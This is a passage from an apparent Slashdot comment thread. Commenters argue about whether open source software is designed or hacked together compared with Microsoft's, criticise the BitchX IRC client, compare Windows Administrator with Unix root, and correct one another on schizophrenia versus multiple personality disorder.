    None of these people should be expected to create a decent, bug-free program.
    And you honestly think that open source hackers should be designing programs without specification? That is exactly what they do every day. The Linux kernel, GNOME, KDE, etc. You will probably hint at the GNOME design guildlines or what have you, but between me and you, those are 100% PR bullshit or masterbation. No one follows them and they don't cover design. The GTK+ manual was produced _after_ GTK+ was written. Most open source manuals come _after_ the software was written. It should be the first thing written, and software should follow _it_.

    Now you will probably say "Well they aren't expected to make bug-free programs," and I will tell you that you do not give a damn about bug-free programs and you simply want to bash Microsoft. If you cared about it then you would have well payed professionals who _designed_ the software. Instead you are using software designed by hobbyists in their spare time which at any given moment could theoretically crash and burn and destroy your entire computer. You won't believe this is possible simply because you are so sold on the Linux hackers reputations of good, honest, giving people.

    To gripe about bug-free programs and to be using software that was not designed, but hacked together is pure hypocrisy.
    I've used it before. Not to dis the guy who made it (BitchX isn't too bad an effort), but it does seem a bit script kiddie-like.
    Actually it is a horrible effort. It is an extremely hacked-up ircII (the original IRC client). Because of the layers upon layers of hacks almost nothing works consitently. There are antiquated features still present with new features simply thrown ontop. But this is my point. Microsoft is not simply one individual, nor are they one group. They have many different groups working independently. I'm sure they have varying degrees of skill level too.
    What kind of dumbfuck would use sendmail or bind on their servers??? There are plenty of alternatives to those programs...
    Many, many people would (and still do).
    Microsoft won't even acknowledge the most horrid of bugs/exploits and will only release a patch if they are embarrassed into it.
    This is FUD. MS released info on the Code Red worm way before Slashdot (and many others) got word. If I remember correctly, it was _months_ before Slashdot posted about it. There was no pressure to say anything about it.
    --
    Dijkstra Considered Dead
  88. Re:Other remedy by Graspee_Leemoor · · Score: 2

    Schizophrenia is not what you think it is.
    What you are thinking of is Multiple Personality Disorder.

    graspee

  89. Re:Microsoft is a bug up the software industry's a by Graspee_Leemoor · · Score: 2

    "Anyone and their cat can start an open source project in their garage"

    Whoah! Maybe this would be a good idea for a new claymation by Nick Park (of Wallace and Grommit fame).

    graspee

  90. no root on Windows by g4dget · · Score: 2

    Windows doesn't have "root", it has an "Administrator" account. They are substantially different (I think Microsoft's security scheme is considerably worse and more difficult to secure).

  91. Re:Other remedy by Graspee_Leemoor · · Score: 2

    With even people who know the definitions of words misusing them for the benefit of people who don't, what hope for the English language, the human race ?

    graspee

  92. Re:Other remedy by Graspee_Leemoor · · Score: 2

    1) I didn't exactly "slam" the poster, I merely offered information, which the poster agreed was correct.

    2) It's a while since I did my Psychology degree, so I had to recheck the DSM-IIIR, but I was in fact right, and the code 300.14 is given to "Multiple Personality Disorder".

    3) " both dissociative identity disorder and schizophrenia work for the joke." Haha, jokes about debilitating mental illnesses- I'm really laughing.

    graspee